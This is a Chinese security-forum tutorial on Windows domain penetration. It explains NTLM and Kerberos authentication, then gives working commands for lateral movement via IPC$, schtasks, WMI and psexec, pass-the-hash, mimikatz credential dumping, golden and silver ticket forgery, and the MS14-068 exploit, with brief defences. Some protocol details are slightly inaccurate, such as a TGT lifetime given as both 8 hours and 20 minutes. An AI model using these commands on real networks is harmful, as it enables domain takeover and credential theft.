用户
搜索

[二进制安全] 内网域渗透知识总结

  • TA的每日心情
    开心
    2018-12-11 19:06
  • 签到天数: 9 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    17

    主题

    58

    帖子

    519

    魔法币
    收听
    1
    粉丝
    2
    注册时间
    2016-6-22

    i春秋签约作者

    发表于 2019-12-31 11:30:29 613306
    本帖最后由 佳哥 于 2019-12-31 11:30 编辑

    一、NTML协议
    在工作组中,密码hash保存在本地的SAM文件中(%SystemRoot%\system32\config\sam),在域里保存在ntds.dit文件中,hash的格式为:用户名称:SID:LM-Hash值:NT-Hash值
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:32057716c8bd0647d9197a9db0b041eb:::

    500冒号后面的是LM hash,bd0647d9197a9db0b041eb是ntml hash
    0x1.1 LM Hash
    LM Hash的全称是LAN Manager Hash,如果明文是dbnames,先要全部转换成大写,然后将大写字符串转换成16进制,如果明文大写转换的二进制不足14个字节,需要用0在后面添加到14个字节。
    44424e414d455300000000000000    dbnames的16进制为44424e414d4553

    由于44424e414d4553转换二进制为8字节,所以这两个8字节数据要用魔术字符串KGS!@#$%DES加密
    4B47532140232425     为'KGS!@#$%'的16进制

    将KGS!@#$%为key对这2个8字节进行des加密
    0x1.2 NTML Hash
    从Windows Vista开始,密码默认情况是只有存储NTML Hash,LM Hash不会存在,在NTML Hash中,先将字符串进行16进制转换,然后在转换成unicode字符串,最后使用MD4加密算法对Unicode进行加密,所以LM Hash跟NTML相比,LM明文大小写不敏感,可以判断明文是否小于8位,不使用'KGS!@#$%'作为key进行des加密,而NTML采用单向加密方式(MD4)
    0x1.3 NTML认证协议
    NTML协议认证分为三部分:协商、质询、身份验证验证
    1.png
    NTML协议认证过程:
    1.用户输入账号密码,客户端中包含明文用用户名向服务端发起请求
    2.服务端接收到客户端的请求,会生成一个challenge 16位随机数,使用存储的NTML Hash加密challenge,生成challenge1,然后将challenge的16位明文随机数发送给客户端
    3.客户端接收到challenge后,使用用户登录的密码hash加密challenge生成response(challenge2),将这个response发送给客户端
    4.服务端接收到response,对challenge1和challenge2进行比较,相同的话就验证成功
    0x1.4 NTLM v1与NTLM v2
    challenge:NTML v1是8的随机数;NTML v2是16位的随机数
    Net-NTML Hash:
    1.NTML v1采用的是DES加密,在16字节后面填充5个0,组成21字节,然后分成3组7个字节的,并在每7个字节后面填充1个0,成为3个8字节的DES密钥,加密上诉步骤2(server)发来的challenge,组成24字节的密文。
    2.NTML v2采用的HMAC-MD5加密

    二、Kerberos协议
    kerberos是一种网络认证协议,主要在windows域中,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。在kerbeos协议中主要有三个角色:
    1.Client
    2.Server
    3.KDC,在KDC中又有两个部分组成:
    AS:作用是验证Client是不是本人
    TGS:为Client生成访问某个服务的ST票据(TGS Ticket)
    认证过程:
    2.png
    1.客户端向KDC(AS)发起一个认证请求(KRB_AS_REQ),在请求的过程中,是通过用户的密码hash加密的时间戳,然后发送给AS服务器,AS服务器接收到后,采用服务器那边的密码hash进行解密这个时间戳,解密成功后,并且时间戳在一定时间范围,说明认证成功。

    2.AS对比用户是否在本地数据库中,使用客户端的hash进行解密,正确就返回krbtgt的密码hash加密的TGT票据(到期时间一般为8小时),用户是无法解密这个TGT票据的,但是有了krbtgt的hash,就可以伪造'黄金票据'。还要返回一个由客户端用户ntml hash加密的Session Key(sessionkey1),Session Key是KDC接收请求后的随机生成的字符(KRB_AS_REP)。

    3.客户端用自己的密码hash解密Session Key,TGT是KDC加密的,Client无法解密,Client拿着解密出来的SessionKey去加密时间戳和TGT发送给TGS换取访问Server的票据(KRB_TGS_REQ)。

    4.TGS收到Client的请求后,会验证是否存在客户端要访问的这个服务,存在的话KDC使用krbtgt的密码hash对TGT进行解密,然后会查看TGT中的时间戳,看是否TGT失效,如果解密成功的TGT没有失效,向客户端发送通过sessionkey1加密的Session_key和ticket票据,在TGSREP中,用的是服务的hash加密ticket的,所有我们拥有这个服务的hash就可以制作一个ticket(即白银票据)(KRB_TGS_REP)。

    5.客户端拿着自己sessionkey1解密的Session_Key(sessionkey2),然后把sessionkey2加密的时间戳和ticket发送个Server去访问服务,认证通过就可以访问(KRB_AP_REQ)。

    6.服务使用自己的hash去解密ticket票据,得到sessionkey2,在用sessionkey2去解密时间戳,解密成功,就用PAC去KDC问客户端是否有访问的权限,域控解密PAC,用于让客户端识别是否访问正确的服务端(KRB_AP_REP)。

    三、内网横向移动的常用方法
    0x1.1 ipc连接
    net use \\192.168.1.232\C$ admin123456 /user:fanxing.com\fanxing

    复制文件到主机上
    copy 1.bat \\192.168.1.232\c$\tools

    获取服务器的时间
    net time \\192.168.1.232

    创建计划任务,20:05执行1.bat文件,cobaltstrike上线成功
    at \\192.168.1.232 20:05 c:\tools\1.bat

    3.png
    下面是ipc连接当中常见的错误号:
    错误号5:拒绝访问--->使用的权限太低,需要提权
    错误号51:Windows无法找到网络路径,网络有问题
    错误号53:找不到网络路径,ip地址错误、目标未开机、目标lanmanserver服务未开启、目标有防火墙(端口过滤)
    错误号67:找不到网络名->你的lanmanworkstation服务未启动或者目标删除了ipc$
    错误号1219:提供的凭据与已存在的凭据集冲突->你已经和对方建立了一个ipc,请删除在连接
    错误号1326:未知的用户名或错误密码
    错误号1792:试图登录,但是网络登录服务没启动->目标BetLogon服务未启动
    错误号2242:此用户的密码已经过期->目标有账号策略,强制定期要求更改密码

    0x1.2 schtasks创建计划任务
    设置每天晚上8:40执行1.bat文件
    schtasks /create /s 192.168.1.232 /u fanxing.com\fanxing /p admin@163.com /ru "SYSTEM" /tn fanxing /sc DAILY /st 20:40  /tr c:\tools\1.bat /F

    4.png
    0x1.3 WMI
    wmi服务需要开启135端口,这个是默认开启的。
    wmic /node:192.168.1.232 /user:fanxing.com\fanxing /password:admin@163.com process call create "cmd /c 1.exe"

    5.png
    使用wmic没有任何回显,可以wmicexec.vbs解决无回显的问题,或者获取一个半交互式shell。
    cscript wmiexec.vbs /cmd 192.168.1.232 fanxing.com\fanxing admin@163.com whoami

    6.png
    0x1.4 pstools
    pstools中有13个小工具,这里主要利用p**ec进行远程执行命令,唯一的缺点就是会开启一个服务,容易被管理员发现。
    在ipc建立连接的时候,可以直接使用p**ec:
    p**ec.exe \\192.168.1.232 -h cmd /c "whoami"

    7.png
    当ipc没有连接时
    P**ec.exe \\192.168.1.232 -u fanxing.com\fanxing -p admin@163.com -h cmd /c "whoami"

    8.png
    使用metasploit执行
    use auxiliary/admin/smb/p**ec_command
    set rhosts 192.168.1.232
    set smbuser fanxing
    set smbpass admin@163.com
    set smbdomain fanxing.com
    set command whoami
    9.png
    0x1.5 hash传递(PTH)
    hash传递是通过密码的hash访问主机或者服务,不需要明文登录。hash的原理,出现在上面讲的NTML认证过程的challenge。利用metasploit:
    use exploit/windows/smb/p**ec
    set rhosts 192.168.50.233
    set SMBPass 32057716c8bd0647d9197a9db0b041eb
    set SMBUser administrator
    set SMBDomain fanxing.com


    四、黄金票据
    黄金票据是AS颁发给Client的TGT票据(TGT的有效时间为20分钟),是通过域kerberos账户(KRBTGT)加密的。实现原理就是跳过了AS的认证过程,直接向KDC的TGS服务证明通过了AS服务。一般黄金票据都是域控的权限掉了的时候,修改了域控的密码,而krbtgt的密码没有被修改,就可以重新获取到域控权限。
    满足黄金票据的条件有:
    1.域的名称
    2.域的SID值
    3.域中KRBTGT的密码hash
    4.伪造的用户名
    在金票的利用过程中,可以使用mimikatz,cobaltstrike,metasploit来伪造。
    0x1.1 Mimikatz
    导出krbtgt的NTML Hash
    privilege::debug      #提权
    [/size][size=18px]lsadump::dcsync /domain:fanxing.com /user:krbtgt

    10.png
    获取域的SID值,不要后面的-500
    whoami /all

    11.png
    伪造金票
    kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /aes256:3df036f90aaf3a63a5cce96fc753f08beb5a2e61946e17cc7d5e6ce04b651b89 /user:fanxing /ticket:gold.kirbi
    12.png
    导入Golden Ticket
    kerberos::ptt c:\users\test\gold.kirbi
    13.png
    可以使用dir访问域控目录,要输入主机名,使用ip还是访问不到
    dir \\WIN-M34UCFJIPNQ\c$
    14.png
    mimikatz还有另外一中方法
    kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /rc4:8b3955c065502e33716d555d4421a723 /user:fanxing /ptt
    15.png
    0x1.2 CobaltStrike
    在上线之后->执行->黄金票据
    16.png
    0x1.3 Metasploit
    msf制作金票
    load kiwi

    生成Golden Ticket
    golden_ticket_create -d fanxing.com -k 8b3955c065502e33716d555d4421a723 -s S-1-5-21-3408186607-3793295459-3581146574 -u fanxing -t /tmp/golden.ticket
    将票据导入内存中
    kerberos_ticket_use /tmp/golden.ticket
    17.png
    dir访问目录成功
    18.png
    金票的创建,需要krbtgt的密码ntml hash,对于防御,只要定期的修改krbtgt的密码,就能使金票失效。

    五、白银票据
    白银票据是TGS颁发给Client的ST票据,根据kerberos协议第5步,Server会对Clinet的ST票据利用Client的hash解密,所以这个过程不需要经过KDC,而且只能访问Server的服务一次。
    满足一下条件,即可以伪造银票:
    1.域的名称
    2.域的SID值
    3.域服务的NTML Hash
    4.要伪造的用户名
    5.目标服务器的kerberos服务
    常用的服务名有
    19.png
    伪造银票
    kerberos::golden /domain:fanxing.com /sid:S-1-5-21-3408186607-3793295459-3581146574 /target:WIN-M34UCFJIPNQ.fanxing.com /service:cifs /rc4:dcd87fc42d9d8ac03dec5931a55ddd59 /user:fanxing /ptt
    20.png
    对于银票的防御措施可以开启PAC,PAC只能KDC制作和查看,在注册表中添加一个ValidateKdcPacSignature为1
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
    21.png

    六、MS14-068
    Client向AS申请一张不包含PAC的TGT票据,会伪造一个PAC,在TGS_REP中,对伪造的PAC验证成功后,会返回一个新的TGT票据。
    通过MS14-068exp利用
    MS14-068.exe -u 当前域用户@域名称 -p 当前域用户密码 -s sid值 -d 域控ip
    sid值通过whoami /all获取
    22.png
    然后会在目录下生成一个证书,利用mimikatz
    kerberos::ptc C:\wwwroot\TGT_xxxxx@fanxing.com.ccache
    就可以使用dir访问到域控的目录

    23.png
    对于ms14-068的防御可以打补丁KB3011780和使用winserver2012

    七、 后记
    还有很多没有整理完,下次在整理,文章中有错误的请师傅们指出,感谢。
    参考文章
    https://www.anquanke.com/member/143805
    https://1sparrow.com/2018/02/19/%E5%9F%9F%E6%B8%97%E9%80%8F%E7%9B%B8%E5%85%B3/
    J0o1ey 超级版主 培训/业务/联系Q547006660 秦 春秋文阁 春秋游侠 核心白帽 i春秋签约作者 幽默灌水王 积极活跃奖 白帽高手
    沙发
    发表于 2019-12-31 17:42:16
    感谢分享
    有培训需求或是技术交流需求的朋友可以联系我~QQ547006660|交流群820783253|团队首页www.gcowsec.com|
    使用道具 举报 回复
    发表于 2019-12-31 23:05:06
    感谢分享,学习了
    My blog :http://www.e-wolf.top
    使用道具 举报 回复
    666666666666666666
    使用道具 举报 回复
    发表于 2020-1-13 18:02:14
    我觉得作者应该说明一个问题:尽量不需要使用ps exec命令,这个命令会留下安装日志,容易被溯源追中到,现在很容易被软杀拦截。优点是可以提供system用户权限。所以最好wmi命令。不到万不得已还是不要使用ps exec吧
    使用道具 举报 回复
    发表于 2020-1-13 18:08:00
    我觉得作者还可以补充一下,windows2012默认情况下不能抓hash,需要修改注册表,重启机器后才能抓取hash。还有内网代理穿透的问题,这个实际情况中是经常遇见的;最后最麻烦的就是绕软杀。
    使用道具 举报 回复
    发表于 2020-1-14 15:55:57
    icq1c0de55e 发表于 2020-1-13 18:08
    我觉得作者还可以补充一下,windows2012默认情况下不能抓hash,需要修改注册表,重启机器后才能抓取hash。 ...

    好的,谢谢给意见
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册